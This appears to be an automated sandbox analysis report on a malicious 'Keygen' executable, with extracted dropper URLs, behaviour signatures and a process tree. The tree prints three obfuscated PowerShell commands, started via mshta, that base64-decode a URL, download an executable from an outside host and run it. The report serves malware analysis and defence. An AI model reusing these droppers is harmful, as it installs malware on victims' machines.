3a27b002eab25417e6ef4cdeb35edd40755a0a20f6c701842f10bfa9448e5c89

Resubmissions

02-10-2020 21:14

201002-pjxdl9y6a6 10

01-10-2020 20:51

01-10-2020 20:51

01-10-2020 20:51

01-10-2020 20:51

01-10-2020 20:51

01-10-2020 20:51

01-10-2020 20:49

Analysis

max time kernel
5s
max time network
156s
platform
windows10_x64
resource
win10
submitted
02-10-2020 21:14

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Report Analysis Logs

General

Target

201001-nyhbt4p25j_pw_infected/Keygen — копия (44) — копия.exe

Score

10^/10

Malware Config

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://zxvbcrt.ug/zxcvb.exe

exe.dropper

http://zxvbcrt.ug/zxcvb.exe

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://bit.do/fqhHT

exe.dropper

http://bit.do/fqhHT

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://bit.do/fqhJv

exe.dropper

http://bit.do/fqhJv

Signatures

Downloads MZ/PE file
Executes dropped EXE 1 IoCs

Processes:

Keygen.exe

pid process

1532 Keygen.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Delays execution with timeout.exe 1 IoCs
evasion

Processes:

timeout.exe

pid process

2304 timeout.exe
Modifies registry class 1 IoCs

Processes:

cmd.exe

description ioc process

Key created \REGISTRY\USER\S-1-5-21-2066881839-3229799743-3576549721-1000_Classes\Local Settings cmd.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 2164 powershell.exe
Suspicious use of SetWindowsHookEx 1 IoCs

Processes:

Keygen.exe

pid process

1532 Keygen.exe

pid	process
1532	Keygen.exe

pid	process
2304	timeout.exe

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-2066881839-3229799743-3576549721-1000_Classes\Local Settings	cmd.exe

description	pid	process
Token: SeDebugPrivilege	2164	powershell.exe

pid	process
1532	Keygen.exe

Suspicious use of WriteProcessMemory 30 IoCs

Processes:

Keygen — копия (44) — копия.execmd.exemshta.exemshta.exemshta.exe

description	pid	process	target process
PID 2412 wrote to memory of 468	2412	Keygen — копия (44) — копия.exe	cmd.exe
PID 2412 wrote to memory of 468	2412	Keygen — копия (44) — копия.exe	cmd.exe
PID 2412 wrote to memory of 468	2412	Keygen — копия (44) — копия.exe	cmd.exe
PID 468 wrote to memory of 1532	468	cmd.exe	Keygen.exe
PID 468 wrote to memory of 1532	468	cmd.exe	Keygen.exe
PID 468 wrote to memory of 1532	468	cmd.exe	Keygen.exe
PID 468 wrote to memory of 1912	468	cmd.exe	mshta.exe
PID 468 wrote to memory of 1912	468	cmd.exe	mshta.exe
PID 468 wrote to memory of 1912	468	cmd.exe	mshta.exe
PID 468 wrote to memory of 2112	468	cmd.exe	mshta.exe
PID 468 wrote to memory of 2112	468	cmd.exe	mshta.exe
PID 468 wrote to memory of 2112	468	cmd.exe	mshta.exe
PID 468 wrote to memory of 2304	468	cmd.exe	timeout.exe
PID 468 wrote to memory of 2304	468	cmd.exe	timeout.exe
PID 468 wrote to memory of 2304	468	cmd.exe	timeout.exe
PID 2112 wrote to memory of 3720	2112	mshta.exe	powershell.exe
PID 2112 wrote to memory of 3720	2112	mshta.exe	powershell.exe
PID 2112 wrote to memory of 3720	2112	mshta.exe	powershell.exe
PID 1912 wrote to memory of 2164	1912	mshta.exe	powershell.exe
PID 1912 wrote to memory of 2164	1912	mshta.exe	powershell.exe
PID 1912 wrote to memory of 2164	1912	mshta.exe	powershell.exe
PID 468 wrote to memory of 1940	468	cmd.exe	mshta.exe
PID 468 wrote to memory of 1940	468	cmd.exe	mshta.exe
PID 468 wrote to memory of 1940	468	cmd.exe	mshta.exe
PID 468 wrote to memory of 3616	468	cmd.exe	mshta.exe
PID 468 wrote to memory of 3616	468	cmd.exe	mshta.exe
PID 468 wrote to memory of 3616	468	cmd.exe	mshta.exe
PID 1940 wrote to memory of 3364	1940	mshta.exe	powershell.exe
PID 1940 wrote to memory of 3364	1940	mshta.exe	powershell.exe
PID 1940 wrote to memory of 3364	1940	mshta.exe	powershell.exe

C:\Users\Admin\AppData\Local\Temp\201001-nyhbt4p25j_pw_infected\Keygen — копия (44) — копия.exe
"C:\Users\Admin\AppData\Local\Temp\201001-nyhbt4p25j_pw_infected\Keygen — копия (44) — копия.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:2412

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\2BB9.tmp\start.bat" "C:\Users\Admin\AppData\Local\Temp\201001-nyhbt4p25j_pw_infected\Keygen — ????? (44) — ?????.exe""
2⤵
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:468

C:\Users\Admin\AppData\Local\Temp\2BB9.tmp\Keygen.exe
Keygen.exe
3⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
PID:1532

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\2BB9.tmp\m.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
3⤵
- Suspicious use of WriteProcessMemory
PID:1912

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$wdxubevfic = Get-Random -Min 3 -Max 4;$qidanupkvwj = ([char[]]([char]97..[char]122));$jfwlpghdovb = -join ($qidanupkvwj | Get-Random -Count $wdxubevfic | % {[Char]$_});$hdxnlosbpmk = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$zdkhpw = $jfwlpghdovb + $hdxnlosbpmk;$sypim=[char]0x53+[char]0x61+[char]0x4c;$xzrhm=[char]0x49+[char]0x45+[char]0x58;$edxlnf=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL iguyoamkbvf $sypim;$kjavpydntew=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;iguyoamkbvf umgptdaebf $xzrhm;$andcvkhb=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|umgptdaebf;iguyoamkbvf rsatiq $edxlnf;$bykmo = $andcvkhb + [char]0x5c + $zdkhpw;;;;$zvngemsbua = 'aHR0cDovL2JpdC5kby9mcWhIVA==';$zvngemsbua=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($zvngemsbua));$mzyjvgc = New-Object $kjavpydntew;$ihtxzqnbs = $mzyjvgc.DownloadData($zvngemsbua);[IO.File]::WriteAllBytes($bykmo, $ihtxzqnbs);rsatiq $bykmo;;$pnsva = @($uwgibvlp, $ulzwsymt, $fzlbxhr, $rgkeho);foreach($tgmqlbc in $pnsva){$null = $_}""
4⤵
- Suspicious use of AdjustPrivilegeToken
PID:2164

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\2BB9.tmp\m1.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
3⤵
- Suspicious use of WriteProcessMemory
PID:2112

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$wdxubevfic = Get-Random -Min 3 -Max 4;$qidanupkvwj = ([char[]]([char]97..[char]122));$jfwlpghdovb = -join ($qidanupkvwj | Get-Random -Count $wdxubevfic | % {[Char]$_});$hdxnlosbpmk = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$zdkhpw = $jfwlpghdovb + $hdxnlosbpmk;$sypim=[char]0x53+[char]0x61+[char]0x4c;$xzrhm=[char]0x49+[char]0x45+[char]0x58;$edxlnf=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL iyhxbstew $sypim;$kjavpydntew=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;iyhxbstew bruolc $xzrhm;$andcvkhb=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|bruolc;iyhxbstew cplmfksidr $edxlnf;$bykmo = $andcvkhb + [char]0x5c + $zdkhpw;;;;$zvngemsbua = 'aHR0cDovL3p4dmJjcnQudWcvenhjdmIuZXhl';$zvngemsbua=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($zvngemsbua));$mzyjvgc = New-Object $kjavpydntew;$ihtxzqnbs = $mzyjvgc.DownloadData($zvngemsbua);[IO.File]::WriteAllBytes($bykmo, $ihtxzqnbs);cplmfksidr $bykmo;;$pnsva = @($uwgibvlp, $ulzwsymt, $fzlbxhr, $rgkeho);foreach($tgmqlbc in $pnsva){$null = $_}""
4⤵
PID:3720

C:\Windows\SysWOW64\timeout.exe
timeout 1
3⤵
- Delays execution with timeout.exe
PID:2304

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\2BB9.tmp\b.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
3⤵
- Suspicious use of WriteProcessMemory
PID:1940

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$wdxubevfic = Get-Random -Min 3 -Max 4;$qidanupkvwj = ([char[]]([char]97..[char]122));$jfwlpghdovb = -join ($qidanupkvwj | Get-Random -Count $wdxubevfic | % {[Char]$_});$hdxnlosbpmk = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$zdkhpw = $jfwlpghdovb + $hdxnlosbpmk;$sypim=[char]0x53+[char]0x61+[char]0x4c;$xzrhm=[char]0x49+[char]0x45+[char]0x58;$edxlnf=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL omdrklgfia $sypim;$kjavpydntew=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;omdrklgfia yvshnex $xzrhm;$andcvkhb=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|yvshnex;omdrklgfia gemjhbnrwydsof $edxlnf;$bykmo = $andcvkhb + [char]0x5c + $zdkhpw;;;;$zvngemsbua = 'aHR0cDovL2JpdC5kby9mcWhKdg==';$zvngemsbua=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($zvngemsbua));$mzyjvgc = New-Object $kjavpydntew;$ihtxzqnbs = $mzyjvgc.DownloadData($zvngemsbua);[IO.File]::WriteAllBytes($bykmo, $ihtxzqnbs);gemjhbnrwydsof $bykmo;;$pnsva = @($uwgibvlp, $ulzwsymt, $fzlbxhr, $rgkeho);foreach($tgmqlbc in $pnsva){$null = $_}""
4⤵
PID:3364

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\2BB9.tmp\b1.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
3⤵
PID:3616

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Temp\2BB9.tmp\Keygen.exe

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C:\Users\Admin\AppData\Local\Temp\2BB9.tmp\Keygen.exe

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C:\Users\Admin\AppData\Local\Temp\2BB9.tmp\b.hta

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C:\Users\Admin\AppData\Local\Temp\2BB9.tmp\b1.hta

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C:\Users\Admin\AppData\Local\Temp\2BB9.tmp\m.hta

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C:\Users\Admin\AppData\Local\Temp\2BB9.tmp\m1.hta

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C:\Users\Admin\AppData\Local\Temp\2BB9.tmp\start.bat

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memory/468-0-0x0000000000000000-mapping.dmp

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memory/1532-2-0x0000000000000000-mapping.dmp

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memory/1532-3-0x0000000000000000-mapping.dmp

Download
memory/1912-7-0x0000000000000000-mapping.dmp

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memory/1940-15-0x0000000000000000-mapping.dmp

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memory/2112-9-0x0000000000000000-mapping.dmp

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memory/2164-17-0x0000000070730000-0x0000000070E1E000-memory.dmp

Filesize
6.9MB

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memory/2164-13-0x0000000000000000-mapping.dmp

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memory/2304-10-0x0000000000000000-mapping.dmp

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memory/3364-24-0x0000000000000000-mapping.dmp

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memory/3616-21-0x0000000000000000-mapping.dmp

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memory/3720-12-0x0000000000000000-mapping.dmp

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memory/3720-16-0x0000000070730000-0x0000000070E1E000-memory.dmp

Filesize
6.9MB

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memory/3720-18-0x0000000000AC0000-0x0000000000AC1000-memory.dmp

Filesize
4KB

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memory/3720-22-0x0000000006CD0000-0x0000000006CD1000-memory.dmp

Filesize
4KB

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